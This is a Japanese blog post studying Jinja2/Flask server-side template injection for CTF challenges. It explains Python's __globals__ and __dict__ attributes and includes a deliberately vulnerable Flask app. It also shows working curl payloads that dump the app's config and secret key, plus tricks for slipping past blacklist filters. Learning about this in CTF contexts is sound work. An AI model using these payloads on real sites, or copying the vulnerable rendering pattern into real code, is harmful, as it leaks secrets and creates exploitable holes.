あらまし
HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい
CTFでurl_for.__globals__など(PyJailと呼ばれているっぽい)SSTIを使ってフラグなどにアクセスする問題があるんですが、そもそも何のためにそんな変数が用意されているのか調べました。上の記事ではこんな感じでリストアップされています。
/echo?q={{self.__dict__}}
/echo?q={{url_for.__globals__.current_app.__dict__}}
/echo?q={{get_flashed_messages.__globals__.current_app.__dict__}}
/echo?q={{request._load_form_data.__globals__.current_app.__dict__}}
/echo?q={{g.get.__globals__.sys.modules.app.app.__dict__}}
/echo?q={{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}
#引用元: https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f
前後のアンダースコア2つ
pythonに疎いのでまずアンダースコアについて調べます。
magic methodと呼ばれるものになるそう。python自身がオブジェクトを扱う標準プロセスで使用するものだそうで、例えば演算+をする時__add__が呼び出される。__add__を書き換えておけば、+演算をしてもその変更したメソッドが呼ばれるようになる、みたいなだと思う。今回の件とどこまで関係があるかはわかりませんが。
__globals__と__dict__
3. Data model — Python 3.9.2 documentation
こちらリンク先のCallable typesの節で、ユーザが定義する関数に生えるSpecial attributesとして__globals__と__dict__が紹介されてます。関数の__dict__はよくわかりませんが(古い投稿はあった)__globals__はその関数が定義された名前空間の変数は見えそうですね。
__globals__
val1 = 1111 val2 = 2222 def func1(): pass print(func1.__globals__) #=>{'func1': <function func1 at 0x7f6d5d3df650>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}
val1 = 1111 val2 = 2222 def func1(): val3 = 3333 def func2(): pass print(func2.__globals__) func1() #=>{'func1': <function func1 at 0x7fd7972de9d0>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}
importを使って関数を読んだ場合の挙動を確認
#testmod.py def test_mod_func(): pass val3=333
#test1.py import testmod val1 = 1111 val2 = 2222 def func1(): val3 = 3333 def func2(): pass print(testmod.test_mod_func.__globals__)
実行結果
$ python test1.py | grep val1 $ python test1.py | grep val2 $ python test1.py | grep val3 ....snip... , 'test_mod_func': <function test_mod_func at 0x7f30a9b7add0>, 'val3': 333, '__name__': 'testmod', '__package__': None, '__doc__': None}
モジュールとして読み込んだ関数経由だとそのモジュール内のものしか見えないようです。
__dict__
一方__dict__はオブジェクトに映えているようで、例えばクラスの__dict__にはクラス内の属性が入っているらしい。
val1=1111 val2=2222 class Test(): val3=3333 a = Test() print(Test.__dict__) #=>{'val3': 3333, '__module__': '__main__', '__doc__': None} print(a.__dict__) #=>{} print(a.val3) #=>3333 print(a.__globals__)#=>AttributeError: Test instance has no attribute '__globals__'
インスタンスにすると__dict__が空になるのはちょっとまだ追いきれていないです。。
ので、__globals__も__dict__も別に特別な何かというわけではないっぽい。
テンプレートエンジンとjinja2とFlaskとSSTI
CTFでよく使われるpythonのフレームワークがFlaskでそのテンプレートエンジンがjinja2なので、これの情報ばっかり出てくる。ので、ここでもそれを参考にいたします。
次のアプリケーションを想定
from flask import Flask, render_template_string, request app = Flask(__name__) app.secret_key = 'testtest' val1=1111 @app.route('/', methods=['GET']) def index(): return render_template_string('{{'+request.args.get('ssti')+'}}') app.run(host='localhost', port=8080)
次のペイロードをみてみる
url_for.__globals__.current_app.__dict__
API — Flask Documentation (1.1.x)
url_forはドキュメントの通り関数のようです。
$ curl 'http://localhost:8080/?ssti=url_for.__class__' <type 'function'>
と言うことで、__globals__も生えているはず
$ curl 'http://localhost:8080/?ssti=url_for.__globals__' {'find_package': <function find_package at 0x7f44bfd50050>, '_find_package_path': <function _find_package_path at 0x7f44bfd48f50>, 'get_load_dotenv': <function get_load_dotenv at 0x7f44..............snip
映えてました。
https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app
Flask の session と g そしてコンテキスト | 民主主義に乾杯
次のcurrent_appは直接appにアクセスしないためにある変数のようです。ちゃんとは理解していませんが、appが保持しているものを覗けそうです。説明を抜粋すると
This is only available when an application context is pushed. This happens automatically during requests and CLI commands. It can be controlled manually with app_context(). #引用:https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app
とあるので、今回はduring requestsの箇所に該当しそうです。url_for.__globals__で定義されたグローバル変数を覗けるので、それ経由で呼べます。
$ curl 'http://localhost:8080/?ssti=self.current_app' #=>レスポンスなし $ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app' <Flask 'test'>
最後の__dict__は上の方で調べた通り、オブジェクト内の属性などを保持しているらしいので、これを呼べばappに定義した変数などを見れそう。
$ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app.__dict__' {'subdomain_matching': False, 'error_handler_spec': {None: {}}, ' ............snip................. 'DEBUG': False, 'SECRET_KEY': 'testtest', ' ............snip................. ': []}
app.secret_key = 'testtest'ここが覗けました。フラグとか鍵とかその他設定を覗かせる問題に使えそうですね。
その他ペイロードを組み立てるなど
この記事が詳しそう Jinja2 SSTI Research - HackMD
基本的に問題では入力に対してパターンマッチなどで制限をかけてることがありそうですね。
CTFtime.org / HackIT CTF 2018 / Believer Case / Writeup
入力をGETクエリなどで受け取る場合
ブラックリストなどを作って、入力値を検証するのが良さそう。ただ
.が禁止されているなら、url_for['__globals__']_が禁止されているなら、url_for['\x5f\x5fglobals\x5f\x5f']globalsがが禁止されているなら、url_for['__\x67lobals__']
などすれば単純なチェックはすり抜けられるので、結構注意が必要
入力をパスで受け取る場合
HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい
上のサイトで紹介されているように、@app.route("/<path:template>")みたいな感じで受け取る場合はurl_for['__\x67lobals__']のようなasciiで指定するパターンでエラーが起こる(サーバエラー)ので、単純なブラックリストで対策できそう。
こんな形で、前者のパターンだとかなりいろんな方法で抜け道ができそうなので、注意かも。